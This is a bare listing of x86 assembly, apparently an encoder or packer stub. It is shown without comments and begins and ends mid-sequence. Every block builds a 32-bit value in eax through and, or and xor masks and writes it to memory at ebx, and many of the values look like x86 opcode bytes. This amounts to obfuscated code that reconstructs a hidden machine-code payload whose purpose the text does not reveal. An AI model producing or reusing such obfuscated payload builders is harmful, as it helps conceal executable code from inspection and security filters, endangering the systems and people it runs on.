and eax, 0x4800410
or eax, 0x705281e8
mov dword [ebx], eax
add ebx, edx
and eax, 0x17924fa1
xor eax, 0x249eb31e
and eax, 0x30048208
or eax, 0x80410901
mov dword [ebx], eax
add ebx, edx
or eax, 0x2b7434a8
or eax, 0x262eeb97
and eax, 0x8901e883
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x315893d8
and eax, 0xa149b041
or eax, 0xa00004
mov dword [ebx], eax
add ebx, edx
and eax, 0x1dbf8b3f
xor eax, 0x24986a98
and eax, 0x2031ea9d
or eax, 0x98ce1560
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6902cbe9
and eax, 0
or eax, 0x40
mov dword [ebx], eax
add ebx, edx
and eax, 0x2205ee69
or eax, 0x55aa51ea
and eax, 0xa50e8
or eax, 0x18401
mov dword [ebx], eax
add ebx, edx
and eax, 0x73dba050
and eax, 0x98000
or eax, 0xec440b00
mov dword [ebx], eax
add ebx, edx
or eax, 0x6b7c0610
and eax, 0xcb098900
or eax, 0x10026081
mov dword [ebx], eax
add ebx, edx
or eax, 0x60175245
and eax, 0x53edf06f
and eax, 0x41090000
or eax, 0xc800000
mov dword [ebx], eax
add ebx, edx
or eax, 0x7dd1242
xor eax, 0x9f5b7ae
and eax, 0x400081ec
or eax, 0xa8550a00
mov dword [ebx], eax
add ebx, edx
xor eax, 0x54b6ac72
and eax, 0x88e00502
or eax, 0x10c5001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x77d65ccc
and eax, 0x82a0845
or eax, 0x1c1e010
mov dword [ebx], eax
add ebx, edx
and eax, 0x7ec7f185
xor eax, 0x48c0d22c
and eax, 9
or eax, 0x83e84582
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7d26ee50
and eax, 0x6c822391
and eax, 0x44800180
or eax, 0x1090040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5bdd01e4
and eax, 0x58553d06
and eax, 0x8440000
or eax, 0xe0098be8
mov dword [ebx], eax
add ebx, edx
or eax, 0x33a06e1f
and eax, 0xbc04d3b
or eax, 0x4100000
mov dword [ebx], eax
add ebx, edx
or eax, 0x4b29ca3b
and eax, 0x217c60bf
and eax, 9
or eax, 0x21e84
mov dword [ebx], eax
add ebx, edx
and eax, 0x6c364d8a
or eax, 0x3dd905f3
and eax, 0x4510900
or eax, 0xc0048200
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5883241a
and eax, 0x88008202
or eax, 0x1014081
mov dword [ebx], eax
add ebx, edx
or eax, 0x25cb1b4c
and eax, 0x58bc045
or eax, 0x40000410
mov dword [ebx], eax
add ebx, edx
xor eax, 0x769c9583
and eax, 0x10001c4
or eax, 0xc08228
mov dword [ebx], eax
add ebx, edx
xor eax, 0x49992d7
and eax, 0x1480109
or eax, 0x8aa44480
mov dword [ebx], eax
add ebx, edx
and eax, 0x590553f6
or eax, 0x77d132ba
and eax, 0x4d116008
or eax, 0x2a8c45
mov dword [ebx], eax
add ebx, edx
and eax, 0x1532b2a3
and eax, 0x67bae011
and eax, 0x1122000
or eax, 0x8a015cb8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x29b829f1
and eax, 0x31441
or eax, 0x5500a814
mov dword [ebx], eax
add ebx, edx
or eax, 0x5939d339
and eax, 0x44113b74
or eax, 0xa0440080
mov dword [ebx], eax
add ebx, edx
and eax, 0x41d2f196
and eax, 0x6320e4a2
and eax, 0x40000000
or eax, 0x58b087c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5fceee7
and eax, 0x1b3d32f4
and eax, 0x52290
or eax, 0xc0401948
mov dword [ebx], eax
add ebx, edx
or eax, 0x57fcaa2e
and eax, 0x4589097c
or eax, 0x8020001
mov dword [ebx], eax
add ebx, edx
or eax, 0x13c8ffdb
and eax, 0x1c983fc
or eax, 0x200000
mov dword [ebx], eax
add ebx, edx
and eax, 0x57ea48b8
or eax, 0x49e48e1d
and eax, 0x9ec0c89
or eax, 0x82104100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x24c2d931
and eax, 0x53a9010
or eax, 0x50014845
mov dword [ebx], eax
add ebx, edx
and eax, 0x3087ea95
and eax, 0x4810
or eax, 0xc70c35e8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3a4a4d2f
and eax, 0xfd461085
or eax, 0x2b94000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x47bcfeac
and eax, 0x29
or eax, 0x1d6
mov dword [ebx], eax
add ebx, edx
and eax, 0x6ab97a9c
and eax, 0
or eax, 0xc70aeb00
mov dword [ebx], eax
add ebx, edx
and eax, 0x63d68bbb
or eax, 0x4ab15e53
and eax, 0x4bb35001
or eax, 0xb44c0084
mov dword [ebx], eax
add ebx, edx
and eax, 0x11d379e8
and eax, 0x80
or eax, 0x7f
mov dword [ebx], eax
add ebx, edx
and eax, 0x7046b8f6
or eax, 0x6dd07d15
and eax, 0x64400900
or eax, 0x80058200
mov dword [ebx], eax
add ebx, edx
or eax, 0x7adb38c0
and eax, 0xfe508100
or eax, 0x1000423
mov dword [ebx], eax
add ebx, edx
xor eax, 0x19371ec1
and eax, 0x2cc66dbf
and eax, 0x244409a2
or eax, 0x931f65d
mov dword [ebx], eax
add ebx, edx
or eax, 0x4c9a10b5
xor eax, 0x62550dd6
and eax, 0xb884009
or eax, 0x30540d82
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7c41127a
or eax, 0x254fb26a
and eax, 0x45dd449
or eax, 0x8200004
mov dword [ebx], eax
add ebx, edx
or eax, 0x4169ece5
and eax, 0x4d4c84c5
or eax, 0xb2000102
mov dword [ebx], eax
add ebx, edx
xor eax, 0x456ac1bd
and eax, 0x9587474
and eax, 0x4470
or eax, 0x1bb8f
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5a193bea
and eax, 0xa080000
or eax, 0xe30000
mov dword [ebx], eax
add ebx, edx
or eax, 0x5f760285
and eax, 0x5f4c0085
or eax, 0xa0008542
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5af4a93e
and eax, 0x2cf9
or eax, 0xd306
mov dword [ebx], eax
add ebx, edx
and eax, 0x2f73890
and eax, 0
or eax, 0x558b0000
mov dword [ebx], eax
add ebx, edx
and eax, 0x5523f493
or eax, 0x73dd2be0
and eax, 0x449523e0
or eax, 0x8000018
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3572db02
and eax, 0x327457f1
and eax, 0x6450f0
or eax, 0xf9baf0f
mov dword [ebx], eax
add ebx, edx
or eax, 0x65c9e39a
or eax, 0xb628a47
and eax, 0xc284
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x26bb60aa
and eax, 0x24018200
or eax, 0xc8440900
mov dword [ebx], eax
add ebx, edx
and eax, 0x771f1e27
or eax, 0x21d9b8d
and eax, 0x64140109
or eax, 0x18a04432
mov dword [ebx], eax
add ebx, edx
or eax, 0x14ac8456
and eax, 0x300c810c
or eax, 0x80410a00
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6027a0e1
and eax, 0x3fc9e375
and eax, 0x480121
or eax, 0xfb44c1a
mov dword [ebx], eax
add ebx, edx
or eax, 0x2161a37a
and eax, 0xae09
or eax, 0x84
mov dword [ebx], eax
add ebx, edx
xor eax, 0x68360129
and eax, 0x68148b00
or eax, 0x94410000
mov dword [ebx], eax
add ebx, edx
or eax, 0x5cd56c39
and eax, 0x88d44501
or eax, 0x1201002
mov dword [ebx], eax
add ebx, edx
xor eax, 0x19015e5c
and eax, 0x90f50015
or eax, 0x6f08a480
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5c72c865
and eax, 0xa00508f0
or eax, 0xc40830f
mov dword [ebx], eax
add ebx, edx
or eax, 0x4a4203a6
and eax, 0xec008189
or eax, 0x11a00400
mov dword [ebx], eax
add ebx, edx
or eax, 0xf6f1251
and eax, 0x4d8b97d9
or eax, 0x6826
mov dword [ebx], eax
add ebx, edx
xor eax, 0x516233c8
xor eax, 0x202abb27
and eax, 0xc10310
or eax, 0x12880ec
mov dword [ebx], eax
add ebx, edx
and eax, 0x57c9339d
or eax, 0x1edc16f8
and eax, 0xbdc0588
or eax, 0x80204801
mov dword [ebx], eax
add ebx, edx
or eax, 0x2faa27a
and eax, 0x8bfca491
or eax, 0x74010004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x638b776d
and eax, 0x801413f8
or eax, 0x20812807
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1f583687
and eax, 0x3ccd0d78
or eax, 0x4032f285
mov dword [ebx], eax
add ebx, edx
and eax, 0x469d524a
or eax, 0x57cc9750
and eax, 0x40458300
or eax, 0x88000820
mov dword [ebx], eax
add ebx, edx
or eax, 0x63f55483
and eax, 0x61f04523
or eax, 0x14080008
mov dword [ebx], eax
add ebx, edx
and eax, 0x38792ee2
or eax, 0x56d50cca
and eax, 0x304d0808
or eax, 0x88008310
mov dword [ebx], eax
add ebx, edx
xor eax, 0x27c1bc99
and eax, 0x158c0501
or eax, 0x6040480a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1edc6090
and eax, 0x28100910
or eax, 0x84458200
mov dword [ebx], eax
add ebx, edx
xor eax, 0x30a329a1
or eax, 0xbc3c1e2
and eax, 0x1dd44133
or eax, 0x60081408
mov dword [ebx], eax
add ebx, edx
or eax, 0x616604de
xor eax, 0x1720db0
and eax, 0x3404084a
or eax, 0x80418320
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2a3261ab
and eax, 0x14644001
or eax, 0x60800532
mov dword [ebx], eax
add ebx, edx
and eax, 0x4a5ac420
and eax, 0x40400020
or eax, 0x800d8b42
mov dword [ebx], eax
add ebx, edx
and eax, 0x2944bcf8
and eax, 0x3f6cb47d
and eax, 0x448000
or eax, 0xd4092f0f
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7bde5323
or eax, 0x7e09fe9a
and eax, 0x7c804c3a
or eax, 0x600101
mov dword [ebx], eax
add ebx, edx
and eax, 0xaef087
xor eax, 0x298194e4
and eax, 0x20018045
or eax, 0xc4540b08
mov dword [ebx], eax
add ebx, edx
and eax, 0x2b6a2909
and eax, 1
or eax, 0x8901c282
mov dword [ebx], eax
add ebx, edx
and eax, 0x6c57de83
xor eax, 0xa8cad93
and eax, 0x896410
or eax, 0x45028045
mov dword [ebx], eax
add ebx, edx
and eax, 0x3399f20a
xor eax, 0x5c65229
and eax, 0x4450228
or eax, 0xe00001d0
mov dword [ebx], eax
add ebx, edx
xor eax, 0xaa0e2b4
xor eax, 0x7c703acd
and eax, 0x90948181
or eax, 0x6d080408
mov dword [ebx], eax
add ebx, edx
or eax, 0x3ba7ff8f
and eax, 0x6052333d
and eax, 0x4002330d
or eax, 0xd89ccf2
mov dword [ebx], eax
add ebx, edx
or eax, 0xde8cd49
and eax, 0xfe89cfe
and eax, 0x1c080f8
or eax, 0x10300
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6b3a39e2
and eax, 0x2f80808
or eax, 0x81004581
mov dword [ebx], eax
add ebx, edx
or eax, 0x427e8373
and eax, 0xc3fc8cb9
or eax, 0x3c011004
mov dword [ebx], eax
add ebx, edx
and eax, 0xec8b0de
or eax, 0x68abd061
and eax, 0x2e6000fd
or eax, 0x1140002
mov dword [ebx], eax
add ebx, edx
and eax, 0x1610fa59
and eax, 0x2000009
or eax, 0x1ec5582
mov dword [ebx], eax
add ebx, edx
and eax, 0x1994b9
or eax, 0x4bbf5c8c
and eax, 0x1895c05
or eax, 0x94008050
mov dword [ebx], eax
add ebx, edx
or eax, 0x73906ce0
and eax, 0xf799fc90
or eax, 0x8660108
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6e1b8727
and eax, 0x81e4408b
or eax, 0x2080500
mov dword [ebx], eax
add ebx, edx
or eax, 0x44d078fc
and eax, 0x3d38e9b5
and eax, 0x50801a0
or eax, 0x40810048
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2fddf247
or eax, 0x6cda03c4
and eax, 0x89c83ec
or eax, 0x90210000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x73b814a4
and eax, 0x2d9ac309
and eax, 0x8308
or eax, 0xff7cf5
mov dword [ebx], eax
add ebx, edx
or eax, 0x3ea2f81b
and eax, 0xc8b1174
or eax, 0x41000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x307377f7
and eax, 0x70482280
or eax, 0x80051958
mov dword [ebx], eax
add ebx, edx
or eax, 0x45a79b39
and eax, 0x78335d48
and eax, 0x50030948
or eax, 0x5880035
mov dword [ebx], eax
add ebx, edx
and eax, 0x6e5abe37
and eax, 0x20000
or eax, 0x1c083c8
mov dword [ebx], eax
add ebx, edx
and eax, 0x4cd0e50e
and eax, 0x4ea0f9eb
and eax, 0x800108
or eax, 0x8b485481
mov dword [ebx], eax
add ebx, edx
and eax, 0x1343ba42
and eax, 0x640a53ff
and eax, 0
or eax, 0x4503ac45
mov dword [ebx], eax
add ebx, edx
xor eax, 0x12ffc41d
and eax, 0x3106048
or eax, 0x88011484
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4275650b
or eax, 0x240f66a7
and eax, 0xe9036445
or eax, 0x808808
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4de51ad7
xor eax, 0x683a974d
and eax, 0xcc4c0101
or eax, 0x20018800
mov dword [ebx], eax
add ebx, edx
or eax, 0x7c7ade7e
and eax, 0x386c550b
or eax, 0x3800080
mov dword [ebx], eax
add ebx, edx
or eax, 0x19023b79
and eax, 0x3377b098
and eax, 0x643010
or eax, 0x818cc45
mov dword [ebx], eax
add ebx, edx
and eax, 0x13481470
xor eax, 0x194b33e8
and eax, 0x19000588
or eax, 0x22d44003
mov dword [ebx], eax
add ebx, edx
or eax, 0x4c26db91
and eax, 0x2174d801
or eax, 0x90044
mov dword [ebx], eax
add ebx, edx
and eax, 0x2ec4e087
and eax, 0x444001
or eax, 0xba80d8a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6e7a611c
xor eax, 0x441c2200
and eax, 0x405
or eax, 0x1075c048
mov dword [ebx], eax
add ebx, edx
or eax, 0x104b7f05
and eax, 0x69f753db
and eax, 0x645109
or eax, 0x33800482
mov dword [ebx], eax
add ebx, edx
xor eax, 0x19deae2d
xor eax, 0x2bcee9a9
and eax, 0x741005
or eax, 0x801a050
mov dword [ebx], eax
add ebx, edx
xor eax, 0x46a06547
xor eax, 0x22f61522
and eax, 0x28004000
or eax, 0x13cc058b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7a119ace
or eax, 0x3231082e
and eax, 0x17ddc45
or eax, 0x8000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x3df00380
and eax, 0x1400000
or eax, 0x82804d8b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4031d730
or eax, 0x67ab8c72
and eax, 0x458900e9
or eax, 0x8000100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7a5ab8e
and eax, 0x8048a40
or eax, 0xb4510180
mov dword [ebx], eax
add ebx, edx
or eax, 0x51e1fc85
and eax, 0x5690fd20
and eax, 0x54805500
or eax, 0x2944003b
mov dword [ebx], eax
add ebx, edx
or eax, 0x7f5a37cf
and eax, 0xf41032e
and eax, 0x40032a
or eax, 0xf0058811
mov dword [ebx], eax
add ebx, edx
xor eax, 0x46d2de56
and eax, 0x34844529
or eax, 0x49680012
mov dword [ebx], eax
add ebx, edx
or eax, 0x533e9627
xor eax, 0x3f70ed1b
and eax, 0x40840204
or eax, 0x801c508
mov dword [ebx], eax
add ebx, edx
and eax, 0x8c0920c
or eax, 0x55085511
and eax, 0x188d71d
or eax, 0x7728e2
mov dword [ebx], eax
add ebx, edx
and eax, 0x701c806
xor eax, 0x3b4dec5a
and eax, 0x2a000000
or eax, 0xc1000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x7ee8080
and eax, 0
or eax, 0x4885c70a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x338b8b76
and eax, 0xe4c7c
or eax, 0xf1b383
mov dword [ebx], eax
add ebx, edx
or eax, 0x4b022135
or eax, 0x7cb8364a
and eax, 0xb000000
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x293c5ff3
and eax, 0x80004441
or eax, 0x4183a00c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x706baec7
xor eax, 0x7c0ca12a
and eax, 0xc4448900
or eax, 0x20090001
mov dword [ebx], eax
add ebx, edx
or eax, 0x64295962
and eax, 0x17bab193
and eax, 0x201103
or eax, 0x23c44488
mov dword [ebx], eax
add ebx, edx
and eax, 0x18ef2474
and eax, 0xe40000
or eax, 0xff1b4895
mov dword [ebx], eax
add ebx, edx
or eax, 0x2b818080
or eax, 0x300fc515
and eax, 0x8b094495
or eax, 0x306a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4bdf2f4c
xor eax, 0x5cc228bc
and eax, 0x88005005
or eax, 0x60838840
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6a29cbdf
xor eax, 0x7d426792
and eax, 0xd8400000
or eax, 0x58901
mov dword [ebx], eax
add ebx, edx
xor eax, 0x39aea889
and eax, 0x81e00188
or eax, 0x2004c03
mov dword [ebx], eax
add ebx, edx
and eax, 0x64f1f0b0
xor eax, 0x7483fc14
and eax, 0x44010080
or eax, 0x9880169
mov dword [ebx], eax
add ebx, edx
or eax, 0x1f1959f
and eax, 0x4c5181e0
or eax, 0x80040a00
mov dword [ebx], eax
add ebx, edx
and eax, 0x99691a9
and eax, 0x8000120
or eax, 0x75e0541b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x52a2dac5
or eax, 0x180acd9c
and eax, 0x18408b34
or eax, 0xc0050001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x26ac09ab
xor eax, 0x57716f56
and eax, 0x89904508
or eax, 0x200023
mov dword [ebx], eax
add ebx, edx
and eax, 0x7e8d6000
and eax, 0x2c596fb
and eax, 0x800000
or eax, 0xff7d9485
mov dword [ebx], eax
add ebx, edx
or eax, 0x7cc915e6
and eax, 0xc5916b2
and eax, 0xc4900a2
or eax, 0xa0048b5d
mov dword [ebx], eax
add ebx, edx
or eax, 0x19fabe30
xor eax, 0x4291faf7
and eax, 0xfd000508
or eax, 0x908881
mov dword [ebx], eax
add ebx, edx
and eax, 0x14f1eb84
and eax, 0x14808980
or eax, 0x410b767f
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2b104013
xor eax, 0x685d41a5
and eax, 0xc28248
or eax, 0x1000190
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4ed7a2e5
and eax, 0x623e6714
and eax, 0x2100100
or eax, 0x89c85489
mov dword [ebx], eax
add ebx, edx
xor eax, 0x76c5bad6
xor eax, 0x6a69184d
and eax, 0x97749400
or eax, 0x68890085
mov dword [ebx], eax
add ebx, edx
and eax, 0x58a9849d
and eax, 0x10810085
or eax, 0x80043b7a
mov dword [ebx], eax
add ebx, edx
and eax, 0x4e0068cd
xor eax, 0x349e9dd2
and eax, 0x349eb51d
or eax, 0x49614ae0
mov dword [ebx], eax
add ebx, edx
and eax, 0x6a1a4bcf
and eax, 0x60080b09
or eax, 0x84458000
mov dword [ebx], eax
add ebx, edx
and eax, 0x2f883c53
and eax, 0x801
or eax, 0x8901e182
mov dword [ebx], eax
add ebx, edx
and eax, 0x1bb9c54c
and eax, 0x901c000
or eax, 0xc4e8244d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x75cb8b11
and eax, 0x15d79fd3
and eax, 0x20f50
or eax, 0x8bfdf0ad
mov dword [ebx], eax
add ebx, edx
xor eax, 0x19cf3647
and eax, 0x59857f9f
and eax, 0x4010
or eax, 0xea819045
mov dword [ebx], eax
add ebx, edx
and eax, 0x6f56cc79
and eax, 0xc040
or eax, 0x1900
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5411335f
and eax, 0xbef02c1
and eax, 1
or eax, 0x8bd05588
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4c6e723f
xor eax, 0x3047eee0
and eax, 0x4529c044
or eax, 0x23001
mov dword [ebx], eax
add ebx, edx
or eax, 0x73196c89
and eax, 0x700188c0
or eax, 0x80440110
mov dword [ebx], eax
add ebx, edx
or eax, 0x184e7c48
and eax, 0x480b09c8
or eax, 0x5800023
mov dword [ebx], eax
add ebx, edx
and eax, 0x27bb0379
or eax, 0x5d7325fe
and eax, 0x1c101f0
or eax, 0x8200
mov dword [ebx], eax
add ebx, edx
and eax, 0x66062618
and eax, 0x6bb05634
and eax, 0
or eax, 0x8bf04d89
mov dword [ebx], eax
add ebx, edx
and eax, 0x6cc24fa5
and eax, 0x4001
or eax, 0x553bb054
mov dword [ebx], eax
add ebx, edx
or eax, 0x21b789c0
and eax, 0x318d0990
or eax, 0x8000620
mov dword [ebx], eax
add ebx, edx
or eax, 0x3f5746eb
or eax, 0x25e063db
and eax, 0xb000003
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x5347ca06
and eax, 0x8b07c005
or eax, 0x24082040
mov dword [ebx], eax
add ebx, edx
and eax, 0x7e12d334
and eax, 0x4028004
or eax, 0x41392c41
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4724161c
and eax, 0x2063818
or eax, 0x892044a0
mov dword [ebx], eax
add ebx, edx
or eax, 0x1b1b9f58
and eax, 0x2eee232d
and eax, 0x80a2008
or eax, 0x4501d445
mov dword [ebx], eax
add ebx, edx
xor eax, 0x85a3af4
and eax, 0x40410a90
or eax, 0x800c3140
mov dword [ebx], eax
add ebx, edx
or eax, 0x6fdc6644
and eax, 0x45891b54
or eax, 0x10020028
mov dword [ebx], eax
add ebx, edx
or eax, 0x4a18d4ef
and eax, 0x58111bc4
or eax, 0xa0442000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7b643fb7
xor eax, 0x323754f6
and eax, 0x1025005
or eax, 0x44890378
mov dword [ebx], eax
add ebx, edx
or eax, 0x7603190b
or eax, 0x217042fc
and eax, 0x404103d8
or eax, 0x88042000
mov dword [ebx], eax
add ebx, edx
and eax, 0x18a903fe
and eax, 0x8010350
or eax, 0x458a4824
mov dword [ebx], eax
add ebx, edx
or eax, 0x2105f418
or eax, 0x4f694ce2
and eax, 0x284d0bdc
or eax, 0x90000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0xe7cff59
and eax, 0x34004401
or eax, 0x49c0093a
mov dword [ebx], eax
add ebx, edx
or eax, 0x5295430e
xor eax, 0x2423b0d0
and eax, 0x58548b40
or eax, 0xa4010000
mov dword [ebx], eax
add ebx, edx
and eax, 0x1b95de3e
xor eax, 0x3c1b5204
and eax, 0xc800
or eax, 0x89012283
mov dword [ebx], eax
add ebx, edx
and eax, 0x162e0d2b
and eax, 0x71a54740
and eax, 0
or eax, 0x458bfc55
mov dword [ebx], eax
add ebx, edx
xor eax, 0x19c89c06
and eax, 0x3d1c6464
and eax, 0x1c002040
or eax, 0xe0451b88
mov dword [ebx], eax
add ebx, edx
or eax, 0x4d0a0300
and eax, 0x4d0b2b48
or eax, 0x800435
mov dword [ebx], eax
add ebx, edx
xor eax, 0x705d266
xor eax, 0x7226c3b1
and eax, 0x20080aa0
or eax, 0xc4450154
mov dword [ebx], eax
add ebx, edx
and eax, 0x702fced8
xor eax, 0xdbc3f6e
and eax, 0x6d800588
or eax, 0x900c8801
mov dword [ebx], eax
add ebx, edx
and eax, 0x1e880a8e
and eax, 0x14880888
or eax, 0x4103f777
mov dword [ebx], eax
add ebx, edx
or eax, 0x766fdc64
and eax, 0x1c283f4
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4d7c62d
and eax, 0x2b3fdadf
and eax, 0x1144089
or eax, 0x82e01500
mov dword [ebx], eax
add ebx, edx
xor eax, 0x39f30c90
and eax, 0xba050819
or eax, 0x45f884a4
mov dword [ebx], eax
add ebx, edx
or eax, 0x5ae0fe57
or eax, 0x63f3ee54
and eax, 0x117400ff
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x35c4bb48
or eax, 0x13d701f0
and eax, 0x13c40188
or eax, 0x28084403
mov dword [ebx], eax
add ebx, edx
and eax, 0x5723ba7d
and eax, 0x1000001
or eax, 0x87dac44
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4e538128
and eax, 0x3200d09
or eax, 0x80c04082
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6e373ac1
and eax, 0x4d810148
or eax, 0x800a1
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2f9a63ee
or eax, 0x2585b062
and eax, 0x60158260
or eax, 0x80400980
mov dword [ebx], eax
add ebx, edx
or eax, 0x32b31f70
and eax, 0x46992f35
and eax, 0x10200
or eax, 0x8900c083
mov dword [ebx], eax
add ebx, edx
and eax, 0x4de560f4
and eax, 0x1014000
or eax, 0x448aa055
mov dword [ebx], eax
add ebx, edx
and eax, 0x6f2d6062
and eax, 0x44010040
or eax, 0x98440ba0
mov dword [ebx], eax
add ebx, edx
and eax, 0x1720d4e1
and eax, 0x144da8c8
and eax, 0x4000040
or eax, 0x498b0b34
mov dword [ebx], eax
add ebx, edx
and eax, 0x33d657ab
and eax, 0x340fc5cd
and eax, 0x100
or eax, 0xfc4d2ae4
mov dword [ebx], eax
add ebx, edx
xor eax, 0x73822382
and eax, 0xc880822
or eax, 0x70304519
mov dword [ebx], eax
add ebx, edx
and eax, 0x3e7803d2
and eax, 0x4100110
or eax, 0xc0458a0c
mov dword [ebx], eax
add ebx, edx
or eax, 0x1239fdd2
or eax, 0x2da3cb29
and eax, 0x7dec553b
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x36eb25d
and eax, 0x440008
or eax, 0xc8018b00
mov dword [ebx], eax
add ebx, edx
and eax, 0x5d1f0d34
and eax, 0x5293e831
and eax, 0x40000000
or eax, 0x3cf4453b
mov dword [ebx], eax
add ebx, edx
or eax, 0x5c122614
and eax, 0x3844030c
or eax, 0x80098800
mov dword [ebx], eax
add ebx, edx
and eax, 0x64c0ba3f
and eax, 0x3a3ca206
and eax, 0
or eax, 0xfbc4d33
mov dword [ebx], eax
add ebx, edx
or eax, 0x25403c0
and eax, 0x6b22c47e
and eax, 0x4000
or eax, 0xa284
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2da3f5d5
xor eax, 0x4b3ca5e7
and eax, 0x24158200
or eax, 0x88400900
mov dword [ebx], eax
add ebx, edx
or eax, 0x32c1151f
or eax, 0x3da38a45
and eax, 0x3de4151b
or eax, 0x40084020
mov dword [ebx], eax
add ebx, edx
and eax, 0x7747c67
and eax, 0x64799d72
and eax, 0x4000400
or eax, 0x4085c30c
mov dword [ebx], eax
add ebx, edx
or eax, 0x151fefff
and eax, 0x19fefff
or eax, 0x601000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x15c8a440
xor eax, 0xeacd70a
and eax, 0xa000000
or eax, 0xe1000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x299f18a2
and eax, 0x59f2eb4b
and eax, 0x40800002
or eax, 0x405c708
mov dword [ebx], eax
add ebx, edx
or eax, 0x70a890de
and eax, 0xadd7de
or eax, 0x522821
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6286c7dc
and eax, 0x31d761ec
and eax, 0
or eax, 0x8b000000
mov dword [ebx], eax
add ebx, edx
and eax, 0xc4a84d8
xor eax, 0x6124bf56
and eax, 0x1209044
or eax, 0x84034001
mov dword [ebx], eax
add ebx, edx
or eax, 0x2584fc51
and eax, 0xa5a7fc44
or eax, 0x5a580300
mov dword [ebx], eax
add ebx, edx
or eax, 0x5c7f78d1
and eax, 0xfd888581
or eax, 8
mov dword [ebx], eax
add ebx, edx
and eax, 0x75d6df73
or eax, 0x595d96d4
and eax, 0x4d8997d5
or eax, 0x2682a
mov dword [ebx], eax
add ebx, edx
or eax, 0x332df046
and eax, 0x18183d0
or eax, 0x400000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x655b29bb
and eax, 0x900809
or eax, 0x83404580
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3038acf5
xor eax, 0x29ad1399
and eax, 0x9a4580a5
or eax, 0x65b80818
mov dword [ebx], eax
add ebx, edx
or eax, 0x76d301d
or eax, 0x2c0d4db5
and eax, 0x840d00bd
or eax, 0x20042
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4d45a88b
xor eax, 0x3fca8835
and eax, 1
or eax, 0x9e
mov dword [ebx], eax
add ebx, edx
and eax, 0x252fd0cb
or eax, 0x7bf3726a
and eax, 0x3bc0508b
or eax, 0x80500
mov dword [ebx], eax
add ebx, edx
and eax, 0x5d1255af
and eax, 0x8005001
or eax, 0x47da854
mov dword [ebx], eax
add ebx, edx
and eax, 0x430ad36f
and eax, 0x472925a7
and eax, 5
or eax, 0xff4085c2
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4cc0f708
and eax, 0xc23f11c
and eax, 0x700c
or eax, 0x18ff3
mov dword [ebx], eax
add ebx, edx
or eax, 0x78927834
and eax, 0x8830000
or eax, 0x2680000
mov dword [ebx], eax
add ebx, edx
and eax, 0x530fb5d2
or eax, 0xa34e397
and eax, 0xa008187
or eax, 0xf5400440
mov dword [ebx], eax
add ebx, edx
and eax, 0xd3fbc82
and eax, 0x8482
or eax, 0x7b7d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x37f05be5
and eax, 0x5800000
or eax, 0x400b0000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1347d8b6
and eax, 0x40841084
or eax, 0x12340
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2347e9e1
and eax, 0x60c2da25
or eax, 0x143d25da
mov dword [ebx], eax
add ebx, edx
or eax, 0x49c78f2d
and eax, 0x484d8b76
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7df99193
and eax, 0x31a40821
or eax, 0xa084512
mov dword [ebx], eax
